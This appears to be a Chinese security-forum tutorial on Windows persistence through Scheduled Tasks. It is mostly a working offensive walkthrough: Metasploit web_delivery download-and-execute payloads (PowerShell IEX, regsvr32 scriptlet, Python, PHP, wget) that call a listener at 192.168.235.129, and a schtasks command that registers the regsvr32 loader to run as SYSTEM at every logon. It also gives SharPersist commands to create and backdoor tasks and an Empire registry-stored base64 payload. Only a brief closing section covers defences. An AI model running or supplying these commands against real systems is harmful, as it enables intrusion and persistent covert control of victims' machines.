0x01 什么是Scheduled Tasks

Scheduled Tasks即任务计划程序,Scheduled Tasks能够在计算机上自动执行例行任务,Task Scheduler通过监视你选择的条件(称为触发器),然后在满足这些条件时执行任务。我们可以使用Task Scheduler启动应用程序,发送电子邮件或显示消息框。

触发器:

  • 当发生特定的系统事件时
  • 在特定时间
  • 在每日时间表的特定时间
  • 在每周的特定时间
  • 在每月的特定时间
  • 在每月的星期几的特定时间
  • 当计算机进入空闲状态时
  • 注册任务时
  • 系统启动时
  • 用户登录时
  • 终端服务器会话更改状态时

Schtasks.exe

Schtasks.exe能够在本地或远程计算机上创建,删除,查询,更改,运行和结束计划任务。不带参数运行Schtasks.exe会显示每个已注册任务的状态和下一次运行时间。

创建任务:

schtasks /Create 
[/S system [/U username [/P [password]]]]
[/RU username [/RP [password]] /SC schedule [/MO modifier] [/D day]
[/M months] [/I idletime] /TN taskname /TR taskrun [/ST starttime]
[/RI interval] [ {/ET endtime | /DU duration} [/K] 
[/XML xmlfile] [/V1]] [/SD startdate] [/ED enddate] [/IT] [/Z] [/F]

删除任务:

schtasks /Delete 
[/S system [/U username [/P [password]]]]
[/TN taskname] [/F]

运行任务:

schtasks /Run 
[/S system [/U username [/P [password]]]]
/TN taskname

结束正在运行的任务:

schtasks /End 
[/S system [/U username [/P [password]]]]
/TN taskname

查询任务信息:

schtasks /Query 
[/S system [/U username [/P [password]]]]
[/FO format | /XML] [/NH] [/V] [/TN taskname] [/?]

变更任务:

schtasks /Change 
[/S system [/U username [/P [password]]]] /TN taskname
{ [/RU runasuser] [/RP runaspassword] [/TR taskrun] [/ST starttime] 
[/RI interval] [ {/ET endtime | /DU duration} [/K] ]
[/SD startdate] [/ED enddate] [/ENABLE | /DISABLE] [/IT] [/Z] }

0x02 Metasploit与计划任务

Scheduled Tasks持久化技术可以手动或自动的进行利用。在Metasploit中,我们可以利用Script Web Delivery模块托管和生成各种格式的payload。

模块名:Script Web Delivery
模块路径:exploit/multi/script/web_delivery

Script Web Delivery模块可以快速启动一个用于存放Payload的web服务器。使用Script Web Delivery模块结合Scheduled Tasks持久化技术利用的基本思路在于远程加载Payload。

加载Script Web Delivery模块并设置相关参数。

Script Web Delivery模块默认payload为python/meterpreter/reverse_tcp,这里我们设置payload为windows/x64/meterpreter/reverse_tcp。

主要有以下Targets

  • 0 Python
  • 1 PHP
  • 2 PSH
  • 3 Regsvr32
  • 4 pubprn
  • 5 PSH (Binary)
  • 6 Linux

Targets为Python时,生成的payload如下:

python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{get_uri}');exec(r.read());"

Targets为PHP时,生成的payload如下:

php -d allow_url_fopen=true -r "eval(file_get_contents('#{get_uri}'));"

Targets为PSH时,生成的payload如下:

powershell.exe -nop -w hidden -c $H=new-object net.webclient;$H.proxy=[Net.WebRequest]::GetSystemWebProxy();$H.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $H.downloadstring('http://192.168.235.129:8080/n8hDAIbCNMgO');

Targets为Regsvr32时,生成的payload如下:

regsvr32 /s /n /u /i:http://192.168.235.129:8080/IPzpKcrXeff.sct scrobj.dll

Targets为pubprn时,生成的payload如下:

C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\pubprn.vbs 127.0.0.1 script:#{get_uri}.sct

Targets为PSH (Binary)时,生成的payload如下:(在硬盘写入文件)

powershell.exe -nop -w hidden -c $z="echo ($env:temp+'\VfpawmXm.exe')"; (new-object System.Net.WebClient).DownloadFile('http://192.168.235.129:8080/QS03dpwdho', $z); invoke-item $z*

Targets为Linux时,生成的payload如下:

wget -qO #{fname} --no-check-certificate #{get_uri}; chmod +x #{fname}; ./#{fname}&

我们这里设置Targets为3,Targets 3是利用regsvr32远程加载payload,然后我们再利用Schtasks.exe将其加入计划任务中:

schtasks /create /tn IStest /tr "regsvr32 /s /n /u /i:http://192.168.235.129:8080/IPzpKcrXeff.sct scrobj.dll" /sc onlogon /ru System

当任意用户登录时,恶意脚本成功运行。

扩展阅读 regsvr32.exe

regsvr32.exe用于注册Windows操作系统的动态链接库和ActiveX控件。

regsvr32 [/u] [/s] [/n] [/i[:cmdline]] DLL文件名。
/u:反注册DLL文件;
/s:安静模式(Silent)执行命令,即在成功注册/反注册DLL文件前提下不显示结果提示框。
/c:控制端口;
/i:在使用/u反注册时调用DllInstall;
/n:不调用DllRegisterServer,必须与/i连用。

0x03 持久化工具包SharPersist

前面我们都是手工针对计划任务进行利用,安全研究员Brett Hawkins开发了一款Windows持久化利用工具包SharPersist。

工具地址:https://github.com/fireeye/SharPersist

技术表:

技术 描述 技术相关参数开关(-t) 是否需要管理员特权 是否操作注册表 是否添加/修改/删除磁盘上的文件
KeePass 具有恶意触发器的KeePass后门配置文件 keepass
New Scheduled Task 创建新的计划任务运行指定的命令 schtask
Registry 修改注册表 reg
Startup Folder 用户启动文件夹持久化利用 startupfolder
Tortoise SVN Hook Script 用户连接到SVN存储库时使用Tortoise SVN钩子脚本执行命令 tortoisesvn
New Service Windows服务持久化利用 service
Scheduled Task Backdoor 向现有计划任务添加其他操作 schtaskbackdoor

这里我们主要介绍New Scheduled Task和Scheduled Task Backdoor两项技术。

创建新的计划任务

SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "testTask" -m add -o logon

列出特定的计划任务,识别所有者,触发器和要执行的动作

SharPersist -t schtask -m list -n "testTask"

SharPersist -t schtask -m list -o logon

SharPersist -t schtask -m list //列出所有计划任务

check功能

SharPersist的check功能可以检查名称和提供的参数是否可用。

Scheduled Task Backdoor

利用Scheduled Task Backdoor我们可以检查是否存在可以修改的计划任务以运行Payload,而不是创建新计划任务。

SharPersist -t schtaskbackdoor -m list -o logon //列出logon计划任务

SharPersist.exe -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c whoami" -n "testTask" -m check //检查是否可以修改

SharPersist.exe -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c whoami" -n "testTask" -m add //将后门添加到现有的计划任务中

0x04 Empire与计划任务

Empire中有以下两个模块可以实施计划任务的持久化技术。

persistence/userland/schtasks
persistence/elevated/schtasks*

使用persistence/userland/schtasks模块会在目标计算机上创建一个名称为WindowsUpdate的计划任务,这里名称可以自定义设置。

-NonI -W hidden -c "IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp HKCU:\Software\Microsoft\Windows\CurrentVersion debug).debug)))"

Payload以base64字符串存放在注册表HKCU:\Software\Microsoft\Windows\CurrentVersion debug中

使用persistence/elevated/schtasks*模块需要管理员权限

目标计算机上会创建一个名称为Updater的计划任务,当任意用户登录时触发然后以SYSTEM用户启动。

当服务器重启用户登录时

0x05 防御

  • 审计

    PowerSploit框架之类的工具包包含PowerUp模块,这些模块可用于探索系统以查找计划任务中的权限弱点,这些弱点可用于权限提升。

  • 操作系统配置

    配置计划任务的设置,以强制任务在经过身份验证的帐户的上下文中运行,而不是允许它们以SYSTEM身份运行。关联的注册表项位于HKLM\SYSTEM\CurrentControlSet\Control\Lsa\SubmitControl。可以通过GPO配置该设置:计算机配置> [策略]> Windows设置>安全设置>本地策略>安全选项:域控制器:允许服务器操作员安排任务,设置为禁用。

  • 特权账户管理

    将“增加调度优先级”选项配置为仅允许管理员组有权调度优先级进程。可以通过GPO进行配置:计算机配置> [策略]> Windows设置>安全设置>本地策略>用户权限分配:增加计划优先级。

  • 用户帐号管理

    限制用户帐户的特权并修复权限提升,以便只有授权的管理员才能在远程系统上创建计划的任务。

点击收藏 | 2 关注 | 2 打赏
  • 动动手指,沙发就是你的了!
登录 后跟帖